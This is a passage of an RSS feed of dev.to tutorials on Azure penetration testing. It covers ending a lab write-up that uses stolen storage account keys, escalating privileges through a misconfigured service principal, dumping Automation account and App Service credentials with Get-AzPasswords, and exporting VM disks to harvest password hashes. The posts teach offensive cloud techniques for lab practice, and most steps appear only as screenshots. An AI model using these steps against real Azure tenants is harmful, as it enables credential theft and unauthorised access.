&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Get-AzStorageAccountKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ResourceGroupName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0xpwnlab"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AccountName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0xpwnstorageacc"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;KeyName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Value&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="nx"&gt;Permissions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CreationTime&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;-------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;-----------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----------&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;key1&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;L175hccq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nx"&gt;lH9DJ&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;3/12/20...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;key2&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;vcZiPzJp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nx"&gt;ZkKvA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;3/12/20...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the command returns two keys, than it means that our identity had permissions to list them. Let’s use these keys in azure storage explorer and see if there are other containers stored on the same account. In the azure storage explorer, we click the connect icon and select storage account or service&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F772rlu0jeivw8uin32nk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F772rlu0jeivw8uin32nk.png" alt="Azure Managed Identities" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the second step, this time we select the Account name and key option:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs95pe5oqa1g7krachysn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs95pe5oqa1g7krachysn.png" alt="Azure Managed Identities" width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the Account name we use the name that we enumerated in the Get-AzResource step, while for the key we can use either of the two we found:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F706711j9yzjdezgc3942.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F706711j9yzjdezgc3942.png" alt="Azure Managed Identities" width="604" height="525"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once we connect, on the left side menu we should find a new storage account, we 2 containers: the images container used by the web app, but also a new one containing the flag. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtr2pccrtwrpombch7nh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtr2pccrtwrpombch7nh.png" alt="Azure Managed Identities" width="721" height="289"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And that’s it! We just seen how abusing a command injection into a web app we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to the Azure Powershell and enumerated the resources that we have access to. The improper permissions set for the managed identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag sensitive information. &lt;/p&gt;

</description>
      <category>azure</category>
      <category>pentest</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Escalating Privileges using a misconfigured service principal</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Tue, 05 Apr 2022 16:02:01 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/escalating-privileges-using-a-misconfigured-service-principal-o66</link>
      <guid>https://dev.to/cheahengsoon/escalating-privileges-using-a-misconfigured-service-principal-o66</guid>
      <description>&lt;ul&gt;
&lt;li&gt;Test at your own risk&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;1.Open a new Powershell session(as an administrator) in your machine. Import the PowerZure module using the following commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PS C:\&amp;gt; cd C:\Users\$env:USERNAME\PowerZure
Import-Module .\PowerZure.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can see that the current user is assigned the Reader role in the subscription. You can also validate this with the Show-AzureCurrentUser function of PowerZure.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frlj46xi9aupx2k6lmtek.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frlj46xi9aupx2k6lmtek.PNG" alt=" " width="544" height="193"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2.Let's verify whether the current user is assigned as the owner of a service principal using the following command.&lt;/p&gt;

&lt;p&gt;The Get-AzureAppOwner command is one of the function of PowerZure. It recursively looks through each registered application in Azure AD and lists the owners. The output shows that readeruser is assigned ownership of an application called customapp. Ownership allows different permissions on the app, including adding a new secret. While this is not an inherent permission for the Reader role, application ownership rights can be assigned to any account.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwkthv0puq16h6lgltvr.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwkthv0puq16h6lgltvr.PNG" alt=" " width="629" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3.Add a new secret to customapp to allow us to authenticate with the app using the following command. Remember that we are doing all this as a user that is assigned the Reader role.&lt;/p&gt;

&lt;p&gt;Awesome! The new secret was successfully added. This means that we can authenticate as this service principal with the secret that we just set and then explore its permissions. Make a note of the displayed application ID and the tenant ID as we will need both to authenticate as the service principal.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flfsynben0hrg8o6fc1hj.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flfsynben0hrg8o6fc1hj.PNG" alt=" " width="558" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4.Switch to WSL and authenticate as the service principal using the following commands. Replace APP_ID with the application ID that you made a note of in Step 3. Replace TENANT_ID with the tenant ID that you made a note of in Step 3. Press Enter.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1cx4kruvh7x158tiufg5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1cx4kruvh7x158tiufg5.PNG" alt=" " width="555" height="302"&gt;&lt;/a&gt;&lt;br&gt;
You are now logged in as the service principal. Next, we will verify the permissions that this service principal has.&lt;/p&gt;

&lt;p&gt;5.Verify the role assignment and scope of the service principal using the following command. Replace APP_ID with the application ID that you made a note of in Step 3.&lt;br&gt;
You can see that this service principal is assigned the Contributor role at the subscription scope. Awesome! We have found a route to a role assignment that gives us more permissions than that of the current user!&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9m1fvp24ydkf7g1y37e.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9m1fvp24ydkf7g1y37e.PNG" alt=" " width="625" height="224"&gt;&lt;/a&gt;&lt;br&gt;
While the Reader roles (Global Reader in Azure AD and Reader in Azure RBAC) normally do not have ownership permissions on service principals, remember that member users in an Azure AD tenant have permissions to register applications and they are automatically made the owner of applications that they registered. Also, there are occasional situations where ownership rights are given to users. Since these ownership rights could pop up at any role level, we thought it would be good to address them early on.&lt;/p&gt;

&lt;p&gt;One permission that is always available for the Reader role is the ability to connect to and pull images from Azure Container Registry(ACR). These rights don't allow readers to make changes to the images, but it does allow them to review the images.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/PacktPublishing/Penetration-Testing-Azure-for-Ethical-Hackers" rel="noopener noreferrer"&gt;https://github.com/PacktPublishing/Penetration-Testing-Azure-for-Ethical-Hackers&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>pentest</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Extracting stored passwords and certificates from Automation accounts</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Mon, 04 Apr 2022 16:38:58 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/extracting-stored-passwords-and-certificates-from-automation-accounts-f7n</link>
      <guid>https://dev.to/cheahengsoon/extracting-stored-passwords-and-certificates-from-automation-accounts-f7n</guid>
      <description>&lt;p&gt;*Test at your own risk&lt;/p&gt;

&lt;p&gt;1.Use the Get-AzPasswords function to perform a dump of credentials for Automation accounts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Get-AzPassword -AppServices N - StorageAccounts N - Keys N -ACR N -CosmosDB N -Verbose | out-GridView
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.When prompted to select an Azure subscription, select your test Azure subscription and click OK.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzx2i30gjcqjjrqolngge.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzx2i30gjcqjjrqolngge.PNG" alt=" " width="629" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3.In the resulting output, you should see credentials that were dumped from the Automation account.&lt;br&gt;
 &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwp0a2u5yoy31fg91fbcm.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwp0a2u5yoy31fg91fbcm.PNG" alt=" " width="511" height="147"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4.Open the current path in File explorer using the following command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;explorer .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5.Note that there are now two new files in the directory where the command was run from&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygyjdjfu6mrarh84245y.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygyjdjfu6mrarh84245y.PNG" alt=" " width="410" height="71"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;6.For POC, run the AuthenticateAs-automation-acct-AzureRunAsConnection.ps1 script to login as the RunAs account.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2bxtum6eves0dug7oji.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff2bxtum6eves0dug7oji.PNG" alt=" " width="628" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;7.Use the following command to confirm the current user context.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwetw4ucft0rb1zb2pz1v.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwetw4ucft0rb1zb2pz1v.PNG" alt=" " width="623" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We now have the cleartext credentials from the Automation account and a private certificate that we can use to authenticate as the Run as account. Since the Contributor role is configured for the Run as account by default, this means we will likely have a persistent Contributor account in the subscription.&lt;/p&gt;

&lt;p&gt;Additionally, if the Run as account is granted any additional roles beyond the default Contributor role, we may be able to use these credentials to escalate privileges or pivot to other subscription.&lt;/p&gt;

&lt;p&gt;While it is less common, we have seen Run as accounts that are give Owner permissions on root management groups. In most cases, this is done to allow the Automation account to automate changes in all of the subscription at once. This allows anyone with Contributor access to that Automation account to inherit the root management group role and take over all of the subscriptions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers" rel="noopener noreferrer"&gt;https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>pentest</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Extracting credentials from App Service</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Sun, 03 Apr 2022 16:04:25 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/extracting-credentials-from-app-service-51e7</link>
      <guid>https://dev.to/cheahengsoon/extracting-credentials-from-app-service-51e7</guid>
      <description>&lt;p&gt;*Test at your own risk&lt;/p&gt;

&lt;p&gt;1.Use the Get-AzPasswords function to perform a dump of credentials for App Service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N - Verbose | Out-GridView
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.When prompted to select an Azure subscription, select your test Azure subscription and click OK.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fusomq5mi6ec8zt8kzsq5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fusomq5mi6ec8zt8kzsq5.PNG" alt=" " width="625" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3.In the resulting output, you should see credentials that were dumped from the App service configurations.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwue4v1eoyaja0xe0e4om.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwue4v1eoyaja0xe0e4om.PNG" alt=" " width="630" height="257"&gt;&lt;/a&gt;&lt;br&gt;
Now that we have access to the app service publish profile, we will see how these credentials can be used with the application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers" rel="noopener noreferrer"&gt;https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>cloudsecurity</category>
      <category>pentest</category>
    </item>
    <item>
      <title>Exfiltering VM disks using PowerZure</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Sat, 02 Apr 2022 16:07:46 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/exfiltering-vm-disks-using-powerzure-2fp5</link>
      <guid>https://dev.to/cheahengsoon/exfiltering-vm-disks-using-powerzure-2fp5</guid>
      <description>&lt;ul&gt;
&lt;li&gt;Test at your own risk&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;1.In the PowerShell console, iport the PowerZure module with the following commands.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9ico4hp2sn4ht0vgyn0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9ico4hp2sn4ht0vgyn0.PNG" alt=" " width="628" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2.Obtain a list of all unattached VM disks using the following command.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1egz1pip2wnzppijczdt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1egz1pip2wnzppijczdt.PNG" alt=" " width="622" height="117"&gt;&lt;/a&gt;&lt;br&gt;
The output of command should return all managed disks that are not currently attached to a running VM and their encryption status. In your output, you should see a disk that has a name starting with winvm02, make a note of the disk name as it will be needed in the next step.&lt;/p&gt;

&lt;p&gt;3.In the PowerShell console, use the following command to generate a publicly accessible URL to export the disk identified in the previous step. Replace  placeholder with the name of the disk that was identified in the previous step.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyrsns1vfmcfkkgymr4t.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyrsns1vfmcfkkgymr4t.PNG" alt=" " width="626" height="149"&gt;&lt;/a&gt;&lt;br&gt;
Get-AzureVMDisk is a PowerZure Module that exploits the Disk Export feature to generate a link to download a VM's disk. You should get a URL from the command output. Make a note of this URL as it will be needed in the next step.&lt;/p&gt;

&lt;p&gt;4.This final step is completely optional. If you want to save time, bandwidth, and disk space here, you can pause the exercise and keep the technique in mind for when you run into disks in future tests. Outside of doing some forensics on the disk to find files and hashes, there is not much for us to do with the disk at this point. If you want to download the disk, open a web browser and browse to the URL that you obtained in the previous step to download the disk from the internet.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi4z2w54tacod3r92qpy6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi4z2w54tacod3r92qpy6.PNG" alt=" " width="623" height="213"&gt;&lt;/a&gt;&lt;br&gt;
At this point, we will have access to the VHD hard drive file for the VM. This can be mounted directly in another VM, and you can parse out sensitive files and the Windows password hashes at this point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers" rel="noopener noreferrer"&gt;https://github.com/cheahengsoon/Penetration-Testing-Azure-for-Ethical-Hackers&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>cloudsecurity</category>
      <category>pentest</category>
    </item>
  </channel>
</rss>
